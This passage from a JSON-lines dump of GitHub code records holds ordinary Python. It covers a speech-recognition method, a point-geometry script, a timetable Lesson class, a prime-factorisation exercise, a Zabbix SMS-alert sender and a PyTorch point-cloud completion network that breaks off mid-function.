'.words'))\n\n def recognize(self, newAudio):\n try:\n newAudio = audiotransform.autoCrop(newAudio, rate=speechmodel.rate)\n except audiotransform.TooQuiet:\n return {\n 'autoCropFailed': 'TooQuiet',\n }\n pad = audiotransform.rightPad(newAudio, goalSize=speechmodel.goalSize)\n m = mfcc(pad, samplerate=speechmodel.rate)\n\n out = self.model.predict(x=m.reshape((1, speechmodel.xWidth)), verbose=1)\n\n topPairs = [(score, word) for score, word in\n sorted(zip(out[0], self.words), reverse=True)\n if score >= .1][:3]\n return {\n 'word': topPairs[0][1] if topPairs else None,\n 'matches': topPairs,\n 'matchDisplay': '; '.join('%s (%.1f)' % (w,s) for s,w in topPairs),\n }\n","repo_name":"sidorenkobw/malia","sub_path":"learn/recognize.py","file_name":"recognize.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"74449978505","text":"#产生测试集\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nL = 10\r\ndata = np.random.rand(L, 2)\r\nhit = np.random.randint(0, L, size = 4)\r\nx = data[:, 0]\r\ny = data[:, 1]\r\nprint(data) \r\n\r\n##计算点和直线的关系\r\ndef Point3(p1, p2, p3):\r\n # print(p1, p2, p3)\r\n k = (p1[0, 1] - p2[0, 1])/(p1[0, 0] - p2[0, 0])\r\n re = k * (p3[0, 0] - p2[0, 0]) + (p3[0, 1] - p2[0, 1])\r\n return re\r\ndef Point4Line(p1, p2, p3, p4):\r\n #plot point\r\n #plt.figure('1')\r\n #plt.plot(X, Y)\r\n '''\r\n for idx,i in enumerate([p1, p2, p3, p4]):\r\n plt.scatter(i[0, 0], i[0, 1])\r\n plt.annotate(s = r'p%s' % str(idx+1), xy=(i[0, 0], i[0, 1]),xytext=(+20,-20), \\\r\n xycoords='data',textcoords='offset points', \\\r\n fontsize=16,arrowprops=dict(arrowstyle='->', connectionstyle=\"arc3,rad=.2\")) \r\n plt.show()\r\n '''\r\n \r\n \r\n #select p1\r\n if Point3(p2, p3, p1)*Point3(p2, p3, p4)>=0 and Point3(p2, p4, p1)*Point3(p2, p4, p3)>=0 \\\r\n and Point3(p3, p4, p1)*Point3(p3, p4, p2)>=0:\r\n print('p1 is in inner')\r\n #return p2, p3, p4\r\n return np.concatenate((p2, p3, p4), axis= 0)\r\n #select p2 \r\n if Point3(p1, p3, p2)*Point3(p1, p3, p4)>=0 and Point3(p1, p4, p2)*Point3(p1, p4, p3)>=0 \\\r\n and Point3(p3, p4, p2)*Point3(p3, p4, p1)>=0:\r\n print('p2 is in inner')\r\n #return p1, p3, p4\r\n return np.concatenate((p1, p3, p4), axis= 0)\r\n #select p3\r\n if Point3(p1, p2, p3)*Point3(p1, p2, p4)>=0 and Point3(p1, p4, p3)*Point3(p1, p4, p2)>=0 \\\r\n and Point3(p2, p4, p3)*Point3(p2, p4, p1)>=0:\r\n print('p3 is in inner')\r\n #return p1, p2, p4\r\n return np.concatenate((p1, p2, p4), axis= 0)\r\n #select p4\r\n if Point3(p1, p2, p4)*Point3(p1, p2, p3)>=0 and Point3(p1, p3, p4)*Point3(p1, p3, p2)>=0 \\\r\n and Point3(p2, p3, p4)*Point3(p2, p3, p1)>=0:\r\n print('p4 is in inner')\r\n return p1, p2, p3\r\n return np.concatenate((p1, p2, p3, p4), axis= 0) \r\n\r\nresult = np.array([[]])\r\ndef fun(data, N, k):\r\n #随机找出四个点\r\n global result\r\n for i in range(N - 4):\r\n p1 = np.array([data[i, :]])\r\n for j in range(i+1, N -3):\r\n p2 = np.array([data[j, :]])\r\n for k in range(j+1, N-2):\r\n p3 = np.array([data[k, :]])\r\n for l in range(k+1, N):\r\n p4 = np.array([data[l, :]]) \r\n #print(i, j, k ,l)\r\n print(p1, p2, p3, p4)\r\n temp = Point4Line(p1, p2, p3, p4)\r\n print(temp.shape)\r\n print(result.shape)\r\n if result.shape == (1, 0):\r\n result = temp\r\n else:\r\n result = np.concatenate((result, temp), axis = 0)\r\n print(result)\r\n return result\r\nprint(fun(data, L, 4))","repo_name":"lihow/PythonL","sub_path":"图像处理/ExcelRead.py","file_name":"ExcelRead.py","file_ext":"py","file_size_in_byte":2915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"5368332873","text":"class Lesson(object):\r\n\r\n def __init__(self,id,subjectid,classids,groupids,studentids,teacherids,classroomids,periodspercard,periodsperweek,weeks):\r\n self.id=id\r\n self.subjectid=subjectid\r\n self.classids=classids\r\n self.groupids=groupids\r\n self.studentids=studentids\r\n self.teacherids=teacherids\r\n self.classroomids=classroomids\r\n self.periodspercard=periodspercard\r\n self.periodsperweek=periodsperweek\r\n self.weeks=weeks\r\n\r\n self.teacherInThisLesson = []\r\n self.classInThisLesson = []\r\n self.subjInThisLesson = []\r\n self.groupInThisLesson = []\r\n self.classroomsInThisLesson = []\r\n\r\n def setClassroom(self,classrooms):\r\n ss = self.classroomids.split(\",\")\r\n for ts in ss:\r\n for t in classrooms:\r\n if t.id==ts:\r\n self.classroomsInThisLesson.append(t)\r\n\r\n def setGroup(self,groups):\r\n ss = self.groupids.split(\",\")\r\n for ts in ss:\r\n for t in groups:\r\n if t.id==ts:\r\n self.groupInThisLesson.append(t)\r\n\r\n\r\n def setTeacher(self,teachers):\r\n ss = self.teacherids.split(\",\")\r\n for ts in ss:\r\n for t in teachers:\r\n if t.id==ts:\r\n self.teacherInThisLesson.append(t)\r\n\r\n def setClass(self,classes):\r\n ss = self.classids.split(\",\")\r\n for cs in ss:\r\n for c in classes:\r\n if c.id==cs:\r\n self.classInThisLesson.append(c)\r\n\r\n\r\n def setSubjects(self,subjects):\r\n for s in subjects:\r\n if s.id == self.subjectid:\r\n self.subjInThisLesson.append(s)\r\n","repo_name":"Zelenskiy/zamini","sub_path":"Zamini/models/lessons.py","file_name":"lessons.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"74666543943","text":"T = int(input())\nfor tc in range(1, T+1):\n N = int(input())\n num = [2, 3, 5, 7, 11]\n result = [0, 0, 0, 0, 0]\n for i in range(len(num)):\n count = 0\n # N을 num으로 나누고 나머지가 존재하면 다음 인덱스로 넘어가야 함\n while N % num[i] == 0: # 25 / 2는 나머지가 존재하기 때문에 실행 X\n N = N / num[i] # 50 / 2 = 25 25를 저장\n count += 1\n result[i] = count # [3, 2, 2, 3, 1]\n result1 = ' '.join(map(str, result))\n print(f'#{tc} {result1}')","repo_name":"Jeongseulho/CSstudy","sub_path":"Jaehyung/230212/소인수분해.py","file_name":"소인수분해.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"40030158401","text":"import sys\nfrom suds.client import Client\n\ndef sendsms(to_list,content):\n myClient=Client('http://xxx.abc.com:80/sms/services/MessageTransferWebService')\n for mobile in to_list:\n res=myClient.service.sendMessageX('xyz','XuBm9sdC',mobile,'sms/mt',None,content,None,'999','20161125114000',None)\n print(res)\n\nif __name__=='__main__':\n #sendsms(sys.argv[1],sys.argv[2])\n sendsms(['13811111111'],'hello world')","repo_name":"18965050/zabbix","sub_path":"zabbix_sendsms.py","file_name":"zabbix_sendsms.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"31670822089","text":"import functools\nimport os\n\nimport torch\nimport torch.nn as nn\nimport numpy as np\nimport torch.nn.functional as F\nimport cuda.MDS.MDS_module as MDS_module\nimport cuda.expansion_penalty.expansion_penalty_module as expansion\nfrom torchvision import utils as vutils\nfrom PIL import Image\n\n\n# 生成器\nfrom cuda.pointnet2 import pointnet2_utils\nfrom models.unet import UnetEncoder, UnetGanEncoder\nfrom utils.visualizer import get_ptcloud_img, VISUALIZER, VIS_PATH_PC, VISUALIZER_PC, plot_pcd_three_views, \\\n VIS_PATH_PC_3\n\nclass InpaintingNetGenerator(nn.Module):\n \"\"\"\n inputs:\n - data:\n -partical_cloud: b x npoints1 x num_dims\n -gtcloud: b x npoints2 x num_dims\n\n outputs:\n - coarse pcd: b x npoints2 x num_dims\n - middle pcd: b x npoints2 x num_dims\n - refine pcd: b x npoints2 x num_dims\n - loss_mst:\n \"\"\"\n\n def __init__(\n self,\n n_primitives: int = 32,\n hide_size: int = 4096,\n bottleneck_size: int = 4096,\n num_points: int = 16382,\n use_SElayer: bool = False,\n use_RecuRefine: bool = False,\n use_AdaIn: str = \"no_use\",\n encode: str = \"Pointfeat\",\n decode: str = \"Sparenet\",\n batch_size: int = 2,\n ):\n super(InpaintingNetGenerator, self).__init__()\n self.num_points = num_points\n self.bottleneck_size = bottleneck_size\n self.n_primitives = n_primitives\n self.use_AdaIn = use_AdaIn\n self.hide_size = hide_size\n self.use_RecuRefine = use_RecuRefine\n self.batch_size = batch_size\n self.conv1 = nn.Conv1d(3, 64, 1)\n\n self.final_conv = nn.Sequential(\n nn.Conv1d(1024 + 4096 + 3 + 3, 2048, 1),\n nn.BatchNorm1d(2048),\n nn.ReLU(inplace=True),\n nn.Conv1d(2048, 1024, 1),\n nn.BatchNorm1d(1024),\n nn.ReLU(inplace=True),\n nn.Conv1d(1024, 512, 1),\n nn.BatchNorm1d(512),\n nn.ReLU(inplace=True),\n nn.Conv1d(512, 3, 1)\n )\n\n # self.encoder = SpareNetEncode(\n # hide_size=self.hide_size,\n # bottleneck_size=self.bottleneck_size,\n # use_SElayer=use_SElayer,\n # encode=encode,\n # )\n self.encoder = PCNEncoder(bottleneck_size=1024)\n # 定义解码器\n self.decoder = InpaintingNetDecode(\n num_points=self.num_points,\n n_primitives=self.n_primitives,\n bottleneck_size=self.bottleneck_size,\n use_AdaIn=self.use_AdaIn,\n use_SElayer=use_SElayer,\n decode=decode,\n )\n if self.use_RecuRefine == True:\n # 定义微调器\n self.refine = SpareNetRefine(\n num_points=self.num_points,\n n_primitives=self.n_primitives,\n use_SElayer=use_SElayer,\n )\n\n self.grid = grid3d_generation(self.batch_size)\n\n def forward(self, data, code=\"default\"):\n partial_x = data[\"partial_cloud\"] # 拿不全的点云\n partial_x = partial_x.transpose(1, 2).contiguous() # [bs, 3, in_points] 开始是[bs, in_points, 3]之后只转置2 3维得到前面的\n # encode\n style = self.encoder(partial_x) # [batch_size, 1024] # 输入到encoder得到1024维特征\n\n # decode\n outs,res_fake,features = self.decoder(data[\"mview_partial\"], code) # 这里的outs torch.Size([2, 3, 131072])\n\n coarse = outs.transpose(1, 2).contiguous()\n\n # 生成三维grid\n regular_grid = torch.cuda.FloatTensor(self.grid) # 固定网格值放到cuda上 torch.Size([2048, 3])\n regular_grid = regular_grid.transpose(0, 1).contiguous().unsqueeze(0) # torch.Size([1, 3, 2048])\n regular_grid = regular_grid.expand( # 对batch的一个expand\n outs.size(0), regular_grid.size(1), regular_grid.size(2)\n ).contiguous()\n regular_grid = ((regular_grid - 0.5) * 2).contiguous() # 将值转为[-1,1]之间\n\n # 在这里生成offset\n style = style.unsqueeze(2).expand(-1, -1, outs.size(2))\n features = features.unsqueeze(2).expand(-1, -1, outs.size(2))\n feat = torch.cat([style, features, regular_grid, outs], dim=1).contiguous()\n outs = self.final_conv(feat) + outs\n\n middle = outs.transpose(1,2).contiguous() # [batch_size, out_points, 3]\n\n\n if self.use_RecuRefine == True:\n # refine first time\n refine, loss_mst = self.refine(outs, partial_x, middle) # 部分点云和粗略点云做第一次微调,得到微调出的点云Yr1和其微调loss\n return coarse, middle, refine, loss_mst, res_fake # 返回粗略点云,第一次微调点云,最终点云以及第一次微调loss\n else:\n return coarse, middle, middle, None, res_fake\n\n\n\n\n\nclass SpareNetEncode(nn.Module):\n \"\"\"\n input\n - point_cloud: b x num_dims x npoints1\n\n output\n - feture: one x feature_size\n \"\"\"\n\n def __init__(\n self,\n bottleneck_size=4096,\n use_SElayer=False,\n encode=\"Pointfeat\",\n hide_size=4096,\n ):\n super(SpareNetEncode, self).__init__()\n print(encode)\n if encode == \"Residualnet\":\n self.feat_extractor = EdgeConvResFeat(\n use_SElayer=use_SElayer, k=8, output_size=hide_size, hide_size=4096\n )\n else:\n self.feat_extractor = PointNetfeat(\n global_feat=True, use_SElayer=use_SElayer, hide_size=hide_size\n )\n self.linear = nn.Linear(hide_size, bottleneck_size)\n self.bn = nn.BatchNorm1d(bottleneck_size)\n self.relu = nn.ReLU()\n\n def forward(self, x):\n # 提取3d特征\n x = self.feat_extractor(x)\n x = self.linear(x)\n x = self.bn(x)\n x = self.relu(x)\n\n return x\n\nclass PCNEncoder(nn.Module):\n \"\"\"\n input\n - point_cloud: b x num_dims x npoints1\n\n output\n - feture: one x feature_size\n \"\"\"\n\n def __init__(\n self,\n bottleneck_size=1024,\n use_SElayer=False,\n ):\n super(PCNEncoder, self).__init__()\n self.first_conv = nn.Sequential(\n nn.Conv1d(3, 128, 1),\n nn.BatchNorm1d(128),\n nn.ReLU(inplace=True),\n nn.Conv1d(128, 256, 1)\n )\n\n self.second_conv = nn.Sequential(\n nn.Conv1d(512, 512, 1),\n nn.BatchNorm1d(512),\n nn.ReLU(inplace=True),\n nn.Conv1d(512, bottleneck_size, 1)\n )\n\n def forward(self, x):\n # 提取3d特征\n feature = self.first_conv(x) # (B, 256, N)\n feature_global = torch.max(feature, dim=2, keepdim=True)[0] # (B, 256, 1)\n feature = torch.cat([feature_global.expand(-1, -1, x.size(2)), feature], dim=1) # (B, 512, N)\n feature = self.second_conv(feature) # (B, 1024, N)\n feature_global = torch.max(feature, dim=2, keepdim=False)[0]\n\n return feature_global\n\n\n\n\nclass EdgeConvResFeat(nn.Module):\n \"\"\"\n input\n - point_cloud: b x num_dims x npoints1\n\n output\n - feture: b x feature_size\n \"\"\"\n\n def __init__(\n self,\n num_point: int = 16382,\n use_SElayer: bool = False,\n k: int = 8,\n hide_size: int = 2048,\n output_size: int = 4096,\n ):\n super(EdgeConvResFeat, self).__init__()\n self.use_SElayer = use_SElayer\n self.k = k\n self.hide_size = hide_size\n self.output_size = output_size\n\n self.conv1 = nn.Conv2d(6, self.hide_size // 16, kernel_size=1, bias=False)\n self.conv2 = nn.Conv2d(\n self.hide_size // 8, self.hide_size // 16, kernel_size=1, bias=False\n )\n self.conv3 = nn.Conv2d(\n self.hide_size // 8, self.hide_size // 8, kernel_size=1, bias=False\n )\n self.conv4 = nn.Conv2d(\n self.hide_size // 4, self.hide_size // 4, kernel_size=1, bias=False\n )\n self.conv5 = nn.Conv1d(\n self.hide_size // 2, self.output_size // 2, kernel_size=1, bias=False\n )\n\n self.relu1 = nn.LeakyReLU(negative_slope=0.2)\n self.relu2 = nn.LeakyReLU(negative_slope=0.2)\n self.relu3 = nn.LeakyReLU(negative_slope=0.2)\n self.relu4 = nn.LeakyReLU(negative_slope=0.2)\n self.relu5 = nn.LeakyReLU(negative_slope=0.2)\n\n if use_SElayer:\n self.se1 = SELayer(channel=self.hide_size // 16)\n self.se2 = SELayer(channel=self.hide_size // 16)\n self.se3 = SELayer(channel=self.hide_size // 8)\n self.se4 = SELayer(channel=self.hide_size // 4)\n\n self.bn1 = nn.BatchNorm2d(self.hide_size // 16)\n self.bn2 = nn.BatchNorm2d(self.hide_size // 16)\n self.bn3 = nn.BatchNorm2d(self.hide_size // 8)\n self.bn4 = nn.BatchNorm2d(self.hide_size // 4)\n self.bn5 = nn.BatchNorm1d(self.output_size // 2)\n\n # 再第2,3,4个CAE中的输入直接到输出的Linear层,也就是F3\n self.resconv1 = nn.Conv1d(\n self.hide_size // 16, self.hide_size // 16, kernel_size=1, bias=False\n )\n self.resconv2 = nn.Conv1d(\n self.hide_size // 16, self.hide_size // 8, kernel_size=1, bias=False\n )\n self.resconv3 = nn.Conv1d(\n self.hide_size // 8, self.hide_size // 4, kernel_size=1, bias=False\n )\n\n def forward(self, x):\n # x : [bs, 3, num_points] torch.Size([2, 3, 3000])\n batch_size = x.size(0) # batch_size = 2\n if self.use_SElayer:\n x = get_graph_feature(x, k=self.k) # 计算边的特征 结果为:torch.Size([2, 6, 3000, 8]) [2, 3, 3000, 8]和[2, 3, 3000, 8]相cat,前面是qij-pi后面是pi\n x = self.relu1(self.se1(self.bn1(self.conv1(x)))) # conv1是CAE模块的第一个MLP,即F1,然后进入自注意力,然后外层relu\n x1 = x.max(dim=-1, keepdim=False)[0] # 最后的最大池化\n\n x2_res = self.resconv1(x1) # F3\n x = get_graph_feature(x1, k=self.k) # KNN模块\n x = self.relu2(self.se2(self.bn2(self.conv2(x))))\n x2 = x.max(dim=-1, keepdim=False)[0]\n x2 = x2 + x2_res\n\n x3_res = self.resconv2(x2)\n x = get_graph_feature(x2, k=self.k)\n x = self.relu3(self.se3(self.bn3(self.conv3(x))))\n x3 = x.max(dim=-1, keepdim=False)[0]\n x3 = x3 + x3_res\n\n x4_res = self.resconv3(x3) # 最后一个CAE的残差\n x = get_graph_feature(x3, k=self.k) # knn\n x = self.relu4(self.se4(self.bn4(self.conv4(x))))\n else:\n x = get_graph_feature(x, k=self.k)\n x = self.relu1(self.bn1(self.conv1(x)))\n x1 = x.max(dim=-1, keepdim=False)[0]\n\n x2_res = self.resconv1(x1)\n x = get_graph_feature(x1, k=self.k)\n x = self.relu2(self.bn2(self.conv2(x)))\n x2 = x.max(dim=-1, keepdim=False)[0]\n x2 = x2 + x2_res\n\n x3_res = self.resconv2(x2)\n x = get_graph_feature(x2, k=self.k)\n x = self.relu3(self.bn3(self.conv3(x)))\n x3 = x.max(dim=-1, keepdim=False)[0]\n x3 = x3 + x3_res\n\n x4_res = self.resconv3(x3)\n x = get_graph_feature(x3, k=self.k)\n x = self.relu4(self.bn4(self.conv4(x)))\n\n x4 = x.max(dim=-1, keepdim=False)[0] # 最后一层的最大池化\n x4 = x4 + x4_res # 残差和特征加起来\n\n x = torch.cat((x1, x2, x3, x4), dim=1) # torch.Size([2, 256, 3000]) torch.Size([2, 256, 3000]) torch.Size([2, 512, 3000]) torch.Size([2, 1024, 3000]) 合起来为torch.Size([2, 2048, 3000])\n x = self.relu5(self.bn5(self.conv5(x))) # conv5 bn5 relu5合起来构成encoder最终的MLP torch.Size([2, 2048, 3000])用MLP转成torch.Size([2, 2048, 3000])\n\n x1 = F.adaptive_max_pool1d(x, 1).view(batch_size, -1) # [bs, 2048] 最大池化,3000个点的特征合成一个点的特征\n x2 = F.adaptive_avg_pool1d(x, 1).view(batch_size, -1) # [bs, 2048] 平均池化\n x = torch.cat((x1, x2), 1) # 两个[bs, 2048]转成[bs, 4096]\n\n x = x.view(-1, self.output_size)\n return x\n\n\nclass PointNetfeat(nn.Module):\n \"\"\"\n input\n - point_cloud: b x num_dims x npoints_1\n\n output\n - feture: b x feature_size\n \"\"\"\n\n def __init__(\n self, num_points=16382, global_feat=True, use_SElayer=False, hide_size=4096\n ):\n super(PointNetfeat, self).__init__()\n self.use_SElayer = use_SElayer\n self.conv1 = torch.nn.Conv1d(3, 64, 1)\n self.conv2 = torch.nn.Conv1d(64, 128, 1)\n self.conv3 = torch.nn.Conv1d(128, hide_size, 1)\n self.hide_size = hide_size\n if use_SElayer:\n self.se1 = SELayer1D(channel=64)\n self.se2 = SELayer1D(channel=128)\n\n self.bn1 = torch.nn.BatchNorm1d(64)\n self.bn2 = torch.nn.BatchNorm1d(128)\n self.bn3 = torch.nn.BatchNorm1d(hide_size)\n\n self.num_points = num_points\n self.global_feat = global_feat\n\n def forward(self, x):\n batchsize = x.size()[0] # x: [batch_size, 3, num_points]\n if self.use_SElayer:\n x = F.relu(self.se1(self.bn1(self.conv1(x))))\n x = F.relu(self.se2(self.bn2(self.conv2(x))))\n x = self.bn3(self.conv3(x))\n else:\n x = F.relu(self.bn1(self.conv1(x))) # x: [batch_size, 64, num_points]\n x = F.relu(self.bn2(self.conv2(x))) # x: [batch_size, 128, num_points]\n x = self.bn3(self.conv3(x)) # x: [batch_size, 1024, num_points]\n x, _ = torch.max(x, 2) # x: [batch_size, num_points]\n x = x.view(-1, self.hide_size)\n return x\n\n\n\nclass InpaintingNetDecode(nn.Module):\n \"\"\"\n inputs:\n - style(feature): b x feature_size\n\n outputs:\n - out: b x num_dims x num_points\n \"\"\"\n\n def __init__(\n self,\n num_points: int = 16382,\n n_primitives: int = 32,\n bottleneck_size: int = 4096,\n use_AdaIn: str = \"no_use\",\n decode=\"Sparenet\",\n use_SElayer: bool = False,\n ):\n super(InpaintingNetDecode, self).__init__()\n self.use_AdaIn = use_AdaIn\n self.num_points = num_points\n self.n_primitives = n_primitives\n self.bottleneck_size = bottleneck_size\n self.decode = decode\n self.criterionL1_loss = torch.nn.L1Loss()\n\n self.decoder = EasyUnetGenerator(3,3,64,\n norm_layer=functools.partial(nn.InstanceNorm2d, affine=True,track_running_stats=False),\n use_spectral_norm=False)\n\n def forward(self, point_imgs, code=\"default\"):\n outs = []\n fake_imgs = []\n features = []\n for i in range(self.n_primitives):\n point_img = point_imgs[:, i, :, :, :]\n temp_pc, temp_feat = self.decoder(point_img)\n\n dec_out = torch.flatten(torch.squeeze(temp_pc, 1).permute(0, 2, 3, 1), start_dim=1,\n end_dim=2).contiguous() # b n c\n dec_out = pointnet2_utils.gather_operation(dec_out.transpose(1, 2).contiguous(),\n pointnet2_utils.furthest_point_sample(dec_out,\n 16384 // self.n_primitives))\n features.append(temp_feat)\n outs.append(dec_out)\n fake_imgs.append(temp_pc)\n return torch.cat(outs, 2).contiguous(),torch.cat(fake_imgs, 1).contiguous(), torch.cat(features, 1).contiguous()\n\n\ndef spectral_norm(module, mode=True):\n if mode:\n return nn.utils.spectral_norm(module)\n\n return module\n\nclass EasyUnetGenerator(nn.Module):\n def __init__(self, input_nc, output_nc, ngf=64,\n norm_layer=nn.BatchNorm2d, use_spectral_norm=False):\n super(EasyUnetGenerator, self).__init__()\n\n # Encoder layers\n self.e1_c = spectral_norm(nn.Conv2d(input_nc, ngf, kernel_size=4, stride=2, padding=1), use_spectral_norm)\n\n self.e2_c = spectral_norm(nn.Conv2d(ngf, ngf*2, kernel_size=4, stride=2, padding=1), use_spectral_norm)\n self.e2_norm = norm_layer(ngf*2)\n\n self.e3_c = spectral_norm(nn.Conv2d(ngf*2, ngf*4, kernel_size=4, stride=2, padding=1), use_spectral_norm)\n self.e3_norm = norm_layer(ngf*4)\n\n self.e4_c = spectral_norm(nn.Conv2d(ngf*4, ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)\n self.e4_norm = norm_layer(ngf*8)\n\n self.e5_c = spectral_norm(nn.Conv2d(ngf*8, ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)\n self.e5_norm = norm_layer(ngf*8)\n\n self.e6_c = spectral_norm(nn.Conv2d(ngf*8, ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)\n self.e6_norm = norm_layer(ngf*8)\n\n self.e7_c = spectral_norm(nn.Conv2d(ngf*8, ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)\n self.e7_norm = norm_layer(ngf*8)\n\n self.e8_c = spectral_norm(nn.Conv2d(ngf*8, ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)\n\n # Deocder layers\n self.d1_c = spectral_norm(nn.ConvTranspose2d(ngf*8, ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)\n self.d1_norm = norm_layer(ngf*8)\n\n self.d2_c = spectral_norm(nn.ConvTranspose2d(ngf*8*2 , ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)\n self.d2_norm = norm_layer(ngf*8)\n\n self.d3_c = spectral_norm(nn.ConvTranspose2d(ngf*8*2, ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)\n self.d3_norm = norm_layer(ngf*8)\n\n self.d4_c = spectral_norm(nn.ConvTranspose2d(ngf*8*2, ngf*8, kernel_size=4, stride=2, padding=1), use_spectral_norm)\n self.d4_norm = norm_layer(ngf*8)\n\n self.d5_c = spectral_norm(nn.ConvTranspose2d(ngf*8*2, ngf*4, kernel_size=4, stride=2, padding=1), use_spectral_norm)\n self.d5_norm = norm_layer(ngf*4)\n\n self.d6_c = spectral_norm(nn.ConvTranspose2d(ngf*4*2, ngf*2, kernel_size=4, stride=2, padding=1), use_spectral_norm)\n self.d6_norm = norm_layer(ngf*2)\n\n self.d7_c = spectral_norm(nn.ConvTranspose2d(ngf*2*2, ngf, kernel_size=4, stride=2, padding=1), use_spectral_norm)\n self.d7_norm = norm_layer(ngf)\n\n self.d8_c = spectral_norm(nn.ConvTranspose2d(ngf*2, output_nc, kernel_size=4, stride=2, padding=1), use_spectral_norm)\n\n\n # In this case, we have very flexible unet construction mode.\n def forward(self, input):\n # Encoder\n # No norm on the first layer\n e1 = self.e1_c(input)\n e2 = self.e2_norm(self.e2_c(F.leaky_relu_(e1, negative_slope=0.2)))\n e3 = self.e3_norm(self.e3_c(F.leaky_relu_(e2, negative_slope=0.2)))\n e4 = self.e4_norm(self.e4_c(F.leaky_relu_(e3, negative_slope=0.2)))\n e5 = self.e5_norm(self.e5_c(F.leaky_relu_(e4, negative_slope=0.2)))\n e6 = self.e6_norm(self.e6_c(F.leaky_relu_(e5, negative_slope=0.2)))\n e7 = self.e7_norm(self.e7_c(F.leaky_relu_(e6, negative_slope=0.2)))\n # No norm on the inner_most layer\n e8 = self.e8_c(F.leaky_relu_(e7, negative_slope=0.2))\n\n # Decoder\n d1 = self.d1_norm(self.d1_c(F.relu_(e8)))\n d2 = self.d2_norm(self.d2_c(F.relu_(torch.cat([d1, e7], dim=1))))\n d3 = self.d3_norm(self.d3_c(F.relu_(torch.cat([d2, e6], dim=1))))\n d4 = self.d4_norm(self.d4_c(F.relu_(torch.cat([d3, e5], dim=1))))\n d5 = self.d5_norm(self.d5_c(F.relu_(torch.cat([d4, e4], dim=1))))\n d6 = self.d6_norm(self.d6_c(F.relu_(torch.cat([d5, e3], dim=1))))\n d7 = self.d7_norm(self.d7_c(F.relu_(torch.cat([d6, e2], dim=1))))\n # No norm on the last layer\n d8 = self.d8_c(F.relu_(torch.cat([d7, e1], 1)))\n\n d8 = torch.tanh(d8)\n e8 = torch.tanh(e8)\n d8 = d8.unsqueeze(dim=1)\n e8 = e8.squeeze(dim=3).squeeze(dim=2)\n return d8, e8\n\nclass PCF2dNetDecode(nn.Module):\n \"\"\"\n inputs:\n - style(feature): b x feature_size\n\n outputs:\n - out: b x num_dims x num_points\n \"\"\"\n\n def __init__(\n self,\n num_points: int = 16382,\n n_primitives: int = 32,\n bottleneck_size: int = 4096,\n use_AdaIn: str = \"no_use\",\n decode=\"Sparenet\",\n use_SElayer: bool = False,\n ):\n super(PCF2dNetDecode, self).__init__()\n self.use_AdaIn = use_AdaIn\n self.num_points = num_points\n self.n_primitives = n_primitives\n self.bottleneck_size = bottleneck_size\n self.decode = decode\n # 这里share的意思是那32个生成粗略点云的网络是用的同一个网络\n # 我这里修改一下,原本是32个生成有512个粗略点的点云生成网络。改成8个生成2048个粗略点的点云生成网络\n if decode == \"Sparenet\":\n # 只有原始的Sparenet才需要self.grid\n self.grid = grid_generation(self.num_points, self.n_primitives) # 生成n_primitives个2d网格,二维列表,有32个元素,每个元素又是有512个[x,y]的列表\n if use_AdaIn == \"share\":\n self.decoder = nn.ModuleList(\n [\n StyleBasedAdaIn(\n input_dim=2,\n style_dim=self.bottleneck_size,\n use_SElayer=use_SElayer,\n )\n for i in range(self.n_primitives)\n ]\n ) # 生成32个StyleBasedAdaIn\n\n # MLP to generate AdaIN parameters\n self.mlp = nn.Sequential(\n nn.Linear(self.bottleneck_size, self.bottleneck_size),\n nn.ReLU(),\n nn.Linear(self.bottleneck_size, get_num_adain_params(self.decoder[0])),\n )\n elif use_AdaIn == \"no_share\":\n self.decoder = nn.ModuleList(\n [\n AdaInPointGenCon(\n input_dim=2,\n style_dim=self.bottleneck_size,\n use_SElayer=use_SElayer,\n )\n for i in range(self.n_primitives)\n ]\n )\n\n elif use_AdaIn == \"no_use\":\n self.decoder = nn.ModuleList(\n [\n PointGenCon(\n input_dim=2 + self.bottleneck_size, use_SElayer=use_SElayer\n )\n for i in range(self.n_primitives)\n ]\n )\n elif decode == \"Mviewnet\":\n # 思路:使用一个点云的8张深度图来生成粗略点云,使用一个共享的网络,类似于上面的share模式,这个网络以一张深度图(batch*1*256*256)作为输入,输出为batch*2048*3\n # 网络结构为类似unet,\n # 定义一个二维特征提取网络,使用与UNet相同的编码器.将输入batch*1*256*256变为batch*2048*1*1。这里不能把unet定义到StyleBasedMViewNet,这样做会占大量内存\n self.unet_gan_encoder = UnetGanEncoder(1,64,norm_layer=functools.partial(nn.InstanceNorm2d, affine=True,track_running_stats=False),use_spectral_norm=False)\n\n self.decoder = nn.ModuleList(\n [\n StyleBasedAdaIn(\n input_dim=4, # 这里从2改为1是说原本输入是随机采样的n*2现在改为图片经过多层卷积后得到的二维特征n*1\n style_dim=self.bottleneck_size, # 这里之前只是将self.bottleneck_size赋值给了style_dim,并没有赋给bottleneck_size,不赋的话用默认的1026\n use_SElayer=use_SElayer,\n )\n for i in range(self.n_primitives)\n ]\n )\n\n # MLP to generate AdaIN parameters\n self.mlp = nn.Sequential(\n nn.Linear(self.bottleneck_size, self.bottleneck_size),\n nn.ReLU(),\n nn.Linear(self.bottleneck_size, get_num_adain_params(self.decoder[0])),\n )\n else:\n print(\"error, decode not exit\")\n exit()\n\n\n def forward(self, style, partial_imgs, code=\"default\"):\n outs = []\n x_res = []\n unet_encoder = None\n adain_params = self.mlp(style)\n for i in range(self.n_primitives):\n partial_img = partial_imgs[:,i,:,:].view(partial_imgs.size(0),1,partial_imgs.size(2),partial_imgs.size(3))\n\n x = 